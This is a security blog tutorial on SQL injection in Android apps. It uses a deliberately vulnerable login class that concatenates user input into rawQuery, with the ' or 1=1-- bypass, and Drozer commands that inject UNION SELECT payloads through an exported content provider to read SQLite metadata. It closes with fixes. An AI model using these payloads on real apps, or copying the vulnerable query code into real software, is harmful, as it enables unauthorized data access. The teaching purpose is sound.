Monday, 20 April 2015

All you need to know about SQL Injection in Android Apps

0 comments Posted by srini0x00 on 19:04
This article covers some advanced options available in Drozer by demonstrating SQL Injection vulnerabilities in Android Apps.

This article assumes that the readers have basic knowledge of SQL Injection in web world. We can apply that knowledge to Mobile Apps.

The following are various possibilities of SQL Injection vulnerabilities in Android Apps.

1. SQL Injection at server side

2. Traditional SQL Injection at client side

3. SQL Injection in content providers

1. SQL Injection at server side

When a malicious input is sent to a backend API, web service, or traditional web server application and if it is not sanitized before passing to the database, this scenario occurs. This is similar to SQL Injection in traditional websites.

2. Traditional SQL Injection at client side

The second variant is, SQL Injection in the client side due to dynamic queries in the code. Though this is not so common in real world Android apps, I have developed a simple app to demonstrate the possibility of this vulnerability in Android apps.

When we install, we see the following screen. Click "Register" and enter some username and password to get registered.


We can use the above credentials to login to the application.

Now, let us have a look at the code snippet used to process the login.

Code in Login Activity:


// Reading user input and passing it for processing

String USERNAME=username.getText().toString().trim();
String PASSWORD=password.getText().toString().trim();
                    
boolean c = db.login(USERNAME,PASSWORD);

// If we got a boolean value "true" from the database, login success

     if(c == true)
     {
     Intent i = new Intent(Login.this,Welcome.class);
     startActivity(i);
     }

Code in the database processing class

// Processing the data received from the user
    
     public boolean login(String UNAME, String UPASS) {

     String query = "select * from ADMIN where EMPNAME = '" +  UNAME + "' and EMPPASS = '" + UPASS     +"'";
    
     Cursor c = db.rawQuery( query, null );
    
     return c.getCount() != 0;

As we can clearly see, the application is directly accepting the user input and inserting it into the query, finally using rawQuery to execute it; thus vulnerable to SQL Injection.

A user can simply, enter the magic string ' or 1=1-- as shown below to bypass the authentication.




3. SQL Injection in content providers

This is the most important concept in this article as this vulnerability often comes in real world apps.

Install the vulnerable application on your emulator as shown below.

adb install VulContentProvider.apk

When you launch this application, it shows the following screen. We can save some bank details as well as view them by giving the name of the user. This is shown below.

I gave some account details as shown in the figure below.


If you enter the name, and click "Show Data", it displays the banks details as shown below.


The backend processing is done using content providers. If you remember, in one our previous articles we have covered how to find and query a content provider manually. In this article, we will see how to automate the whole process using Drozer. In addition to that, we will also see how to exploit injection vulnerabilities in Content Providers.

If you are new to Drozer, feel free to go through my previous article where we discussed the basics of Drozer.

Finding and exploiting SQL Injection in Content Providers using Drozer

It is time to fire up your Drozer and find vulnerabilities using it.

First, launch drozer agent on the emulator and perform port forwarding on your local machine with the following command.

adb forward tcp:31415 tcp:31415



Let us first find out the package name of our target application using the command shown below.

dz> run app.package.list -f vul


Now, let us see the attacksurface using the following command.

dz> run app.package.attacksurface [package name]



As we can see in the figure above, drozer seems to find two vulnerabilities.

1. There is a content provider exported, so it may expose sensitive information of the app.
2. App is debuggable.

Our focus in this article is ContentProviders. So, let us go ahead and extract the content provider which is exported.

We can list our all the content providers using the scanner module in drozer as shown below.

dz> run scanner.provider.finduris -a [packagename]



As we can see in the above figure, we are able to see the content providers which are accessible.

Now, let us see if we have any additional vulnerabilities in the following content provider URI.

content://com.androidpentesting.vulcontentprovider.data/userdetails/

I am going to test for Injection vulnerabilities in this URI using the following command.

dz> run scanner.provider.injection --uri [URI]



Awesome!

As we can see in the above figure, the URI we scanned is vulnerable to injection both in Projection as well as Selection.

Exploitation:

1. Querying the data


If you remember one of our previous articles on leaking content providers, we discussed how to query the provider using adb.

In this case, we are going to use drozer for the same task. We can run the following command to query the provider.

dz> run app.provider.query [URI]


If a content provider is vulnerable to data leakage, any other malicious app sitting on the same device can read the data.

2. Exploiting Injection

Now, let us see how we can pass arbitrary SQL Commands to extract data from the database.

Breaking the query:

The traditional way of confirming SQL Injection is to pass a single quote and break the query.

Let us pass a single quote(') in selection and see the response.

dz> run app.provider.query [URI] --selection "'"


If we observe the above response, the single quote has been sent  to the query and it is throwing an error along with the broken query.

Now, let us form a proper query by passing "id=1".

dz> run app.provider.query [URI] --selection "id=1"


The above query has executed as expected and returned the row associated with id 1.

We can even pass id=2 which looks as shown below.

dz> run app.provider.query [URI] --selection "id=2"


Now, let us pass the magic string as shown below.

dz> run app.provider.query [URI] --selection "1 or 1=1"


As expected, it has returned all the rows.

Now, let us do something interesting.

I am passing the following query to print the numbers 1,2,3 using UNION statement. All the rules with "UNION" statements should be kept in mind. Thats the reason for passing only 3 columns in my query.

dz> run app.provider.query [URI] --selection "1=1) union select 1,2,3 from sqlite_master where (1=1"

"sqlite_master" is something similar to information_schema in MySQL databases. It holds metadata and structure of the database.

In our case the above command becomes,

dz> run app.provider.query content://com.androidpentesting.vulcontentprovider.data/userdetails/ --selection "1=1) union select 1,2,3 from sqlite_master where (1=1"

The output of the above command is as shown below.


As we can see in the above figure, we are able to see the numbers 1,2,3. We can now replace any of the numbers to extract the content from the database.

So, let us go ahead and print the database version. (This is just to show how we can read the private information by passing arbitrary commands to the database).

The command now will be as shown below.

dz> run app.provider.query [URI] --selection "1=1) union select 1,2,sqlite_version() from sqlite_master where (1=1"

In our case, the query becomes

dz> run app.provider.query content://com.androidpentesting.vulcontentprovider.data/userdetails/ --selection "1=1) union select 1,2,sqlite_version() from sqlite_master where (1=1"

The output is as shown below.

As we can see in the above figure, 3.7.11 is the database version.

We can even list out all the table names using the following command as shown below.

dz> run app.provider.query [URI] --selection "1=1) union select 1,2,tbl_name from sqlite_master where (1=1"

In our case, the query becomes

dz> run app.provider.query content://com.androidpentesting.vulcontentprovider.data/userdetails/ --selection "1=1) union select 1,2,tbl_name from sqlite_master where (1=1"

the following is the output from the above command.

It clearly shows the list of tables. "users" is one table with which we are interacting using the provider. if there are any other user defined tables, we can query them.

As an example, I am showing a query where I am going to find out the data types of each column in users table.

This helps us if we want to insert data into the content provider. Drozer also provides the luxury of inserting data into the existing tables.

dz> run app.provider.query content://com.androidpentesting.vulcontentprovider.data/userdetails/ --selection "1=1) union select typeof(id), typeof(name), typeof(bankdetails) from users where (1=1"

If you observe the above command, we are extracting the data types of each column from users table.

The output of the above query is as shown below.

The following is the AndroidManifest.xml file entry for this provider.

<provider

android:name="com.androidpentesting.vulcontentprovider.data"

android:exported="true"     

android:authorities="com.androidpentesting.vulcontentprovider.data">

</provider>

Well, if you are asking yourself if this kind of vulnerabilities exist in real world apps, answer is YES. I have seen many apps from the Android market, which are vulnerable to Content Provider injection.

Below is a link of POC from viaforensics.

https://viaforensics.com/mobile-security/ebay-android-content-provider-injection-vulnerability.html

How to fix?

Scenario 1&2:

Sanitize the user input and write prepared statements.

Scenario 3:

If it is not needed, content provider should not be exported.

If functionality demands to export your provider, we can set appropriate permissions to restrict access to only those who are authorised.

Conclusion:

This article has covered SQL Injection vulnerabilities in android apps and also clearly demonstrates the power of drozer in exploiting android apps. The focus of this article is to cover both SQL Injection as well as the luxury provided by Drozer to simplify android exploitation.

References:

https://www.owasp.org/index.php/OWASP_Mobile_Security_Project

http://www.mandalorian.com/2013/05/android-sql-injection-with-mercury

You may also like:

http://www.infosecinstitute.com/courses/ethical_hacking_training.html or pen testing http://www.infosecinstitute.com/courses/10day_penetration_testing_training.html
 

Recent posts

Recent Comments

Bookmark & Share